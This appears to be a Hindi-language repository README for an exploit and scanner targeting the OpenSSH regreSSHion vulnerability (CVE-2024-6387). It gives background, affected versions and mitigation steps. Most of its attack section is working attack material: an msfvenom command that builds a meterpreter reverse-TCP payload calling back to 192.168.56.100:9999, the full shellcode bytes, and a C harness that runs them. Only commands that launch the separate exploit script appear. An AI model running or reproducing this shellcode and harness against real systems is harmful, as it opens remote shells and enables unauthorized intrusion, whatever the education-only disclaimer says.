
OpenSSH में CVE-2024-6387 (regreSSHion) के लिए शोषण और स्कैनर। इसमें पता लगाना, RCE शोषण, और अधिकृत पैठ परीक्षण और प्रयोगशाला वातावरण के लिए शेलकोड उत्पादन शामिल है।
एक्सप्लॉइट CVE-2024-6387
OpenSSH सर्वरों में CVE-2024-6387 भेद्यता के विश्लेषण, पता लगाने और नियंत्रित परीक्षण के लिए उपकरण।
यह रिपॉजिटरी पूरी तरह से शैक्षिक है।
इसका उपयोग केवल इनमें करें:
- प्रयोगशालाएँ (HTB, TryHackMe)
- अपने स्वयं के वातावरण
- स्पष्ट अनुमति वाले ऑडिट
⚠️ बिना अनुमति के सिस्टम को स्कैन या शोषण करना अवैध है।
यह सामग्री रक्षा और सीखने के उद्देश्य से है।
CVE-2024-6387, जिसे regreSSHion के नाम से जाना जाता है, 2006 में पहले से सुधारी गई भेद्यता (CVE-2006-5051) का पुनरावर्तन है।
इसे OpenSSH 8.5p1 (2020) में पुनः शामिल किया गया और यह अनुमति देता है:
एक संबंधित भेद्यता भी है:
यह भेद्यता sshd के सिग्नल हैंडलर में रेस कंडीशन पर आधारित है।
LoginGraceTime निर्धारित करता है (डिफ़ॉल्ट: 120s)SIGALRM सिग्नल ट्रिगर होता हैsyslog()malloc()free()इससे हो सकता है:
| स्थिति | संस्करण | नोट्स |
|---|---|---|
| ⚠️ असुरक्षित | < 4.4p1 | यदि पुराना पैच नहीं है |
| ✅ सुरक्षित | 4.4p1 → < 8.5p1 | पहले से सुधारा गया |
| ⚠️ असुरक्षित | 8.5p1 → < 9.8p1 | पुनरावर्तन मौजूद है |
| ✅ सुधारित | >= 9.8p1 | आधिकारिक पैच |
🛡️ OpenBSD असुरक्षित नहीं है 2001 से लागू अतिरिक्त सुरक्षा उपायों के कारण।
![]()
python3 exploit.py
python3 scanner.py <IP> -p 22
```bash
# शेलकोड जनरेट करना
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// आपके कस्टम पेलोड का प्लेसहोल्डर
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// शेलकोड निष्पादित करें
printf("शेलकोड निष्पादित किया जा रहा है...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
🛠️ शमन और सुधार निम्नलिखित कदम तुरंत उठाने की अनुशंसा की जाती है, विशेष रूप से इंटरनेट पर उजागर संपत्तियों के लिए:
तत्काल अद्यतन: OpenSSH 9.8p1 में अपडेट करें या प्रत्येक वितरण के विशिष्ट पैच लागू करें।
sshd कॉन्फ़िगरेशन: यदि अद्यतन संभव नहीं है, तो /etc/ssh/sshd_config फ़ाइल में LoginGraceTime 0 सेट करें।
चेतावनी: यह RCE को रोकता है, लेकिन सर्वर को कनेक्शन खत्म होने के कारण सेवा अस्वीकार (DoS) के लिए उजागर करता है।
पहुँच नियंत्रण: लेटरल मूवमेंट से बचने के लिए SSH पहुँच को नेटवर्क-आधारित नियंत्रण (फायरवॉल/VPN) और नेटवर्क सेगमेंटेशन के माध्यम से सीमित करें।
Kaleth Corcho
सिस्टम इंजीनियरिंग · WolvesTI · बोगोटा, कोलंबिया